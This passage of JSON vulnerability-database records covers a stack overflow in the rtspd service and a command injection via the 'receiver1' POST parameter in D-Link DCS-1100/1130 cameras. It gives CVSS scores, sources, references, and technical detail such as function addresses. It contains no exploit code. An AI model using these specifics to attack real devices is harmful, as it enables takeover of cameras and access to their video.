"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8410",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2017-8410",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 9.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.6,
"id": "CNVD-2019-21250",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-116613",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-8410",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8410",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8410",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2017-8410",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2019-21250",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-125",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-116613",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8410",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "VULHUB",
"id": "VHN-116613"
},
{
"db": "VULMON",
"id": "CVE-2017-8410"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-125"
},
{
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary performs a memcpy operation at address 0x00011E34 with the value sent in the \"Authorization: Basic\" RTSP header and stores it on the stack. The number of bytes to be copied are calculated based on the length of the string sent in the RTSP header by the client. As a result, memcpy copies more data then it can hold on stack and this results in corrupting the registers for the caller function sub_F6CC which results in memory corruption. The severity of this attack is enlarged by the fact that the same value is then copied on the stack in the function 0x00011378 and this allows to overflow the buffer allocated and thus control the PC register which will result in arbitrary code execution on the device. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A buffer error vulnerability exists in the RTSPD in the D-LinkDCS-1100 and DCS-1130. The attacker can use this vulnerability to fully control the device and view images taken by the camera. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8410"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "VULHUB",
"id": "VHN-116613"
},
{
"db": "VULMON",
"id": "CVE-2017-8410"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8410",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-125",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-21250",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116613",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8410",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "VULHUB",
"id": "VHN-116613"
},
{
"db": "VULMON",
"id": "CVE-2017-8410"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-125"
},
{
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"id": "VAR-201907-1070",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "VULHUB",
"id": "VHN-116613"
}
],
"trust": 1.30915275
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
}
]
},
"last_update_date": "2024-11-23T21:37:04.651000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8410"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116613"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.2,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 3.0,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.4,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "VULHUB",
"id": "VHN-116613"
},
{
"db": "VULMON",
"id": "CVE-2017-8410"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-125"
},
{
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "VULHUB",
"id": "VHN-116613"
},
{
"db": "VULMON",
"id": "CVE-2017-8410"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-125"
},
{
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116613"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8410"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-125"
},
{
"date": "2019-07-02T20:15:11.120000",
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"date": "2019-07-09T00:00:00",
"db": "VULHUB",
"id": "VHN-116613"
},
{
"date": "2021-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8410"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"date": "2021-04-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-125"
},
{
"date": "2024-11-21T03:33:59",
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-125"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1100 and D-Link DCS-1130 Buffer Error Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-125"
}
],
"trust": 1.2
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-125"
}
],
"trust": 0.6
}
}
var-201907-1071
Vulnerability from variot
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library "libmailutils.so" is the one that has the vulnerable function "sub_1FC4" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter "receiver1" is extracted in function "sub_15AC" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in "cgibox" binary at address 0x00023BCC which calls the "Send_mail" function in "libmailutils.so" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue. D-Link DCS-1130 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. There is a command injection vulnerability in the Snapshot function in D-LinkDCS-1130. The vulnerability stems from the fact that external input data constructs executable commands, and the network system or product does not properly filter the special elements. An attacker could exploit the vulnerability to execute an illegal command
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1071",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8411",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.6,
"id": "CVE-2017-8411",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-21464",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.6,
"id": "VHN-116614",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2017-8411",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8411",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "Required",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8411",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8411",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-21464",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-123",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116614",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8411",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"db": "VULHUB",
"id": "VHN-116614"
},
{
"db": "VULMON",
"id": "CVE-2017-8411"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-123"
},
{
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x00023BCC which calls the \"Send_mail\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue. D-Link DCS-1130 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. There is a command injection vulnerability in the Snapshot function in D-LinkDCS-1130. The vulnerability stems from the fact that external input data constructs executable commands, and the network system or product does not properly filter the special elements. An attacker could exploit the vulnerability to execute an illegal command",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8411"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"db": "VULHUB",
"id": "VHN-116614"
},
{
"db": "VULMON",
"id": "CVE-2017-8411"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8411",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-123",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-21464",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116614",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8411",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"db": "VULHUB",
"id": "VHN-116614"
},
{
"db": "VULMON",
"id": "CVE-2017-8411"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-123"
},
{
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"id": "VAR-201907-1071",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21464"
},
{
"db": "VULHUB",
"id": "VHN-116614"
}
],
"trust": 1.3122449
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"ICS",
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21464"
}
]
},
"last_update_date": "2024-11-23T21:37:04.837000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8411"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-77",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116614"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014553"
},
{
"db": "NVD",
"id": "CVE-2017-8411"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.0,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/77.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
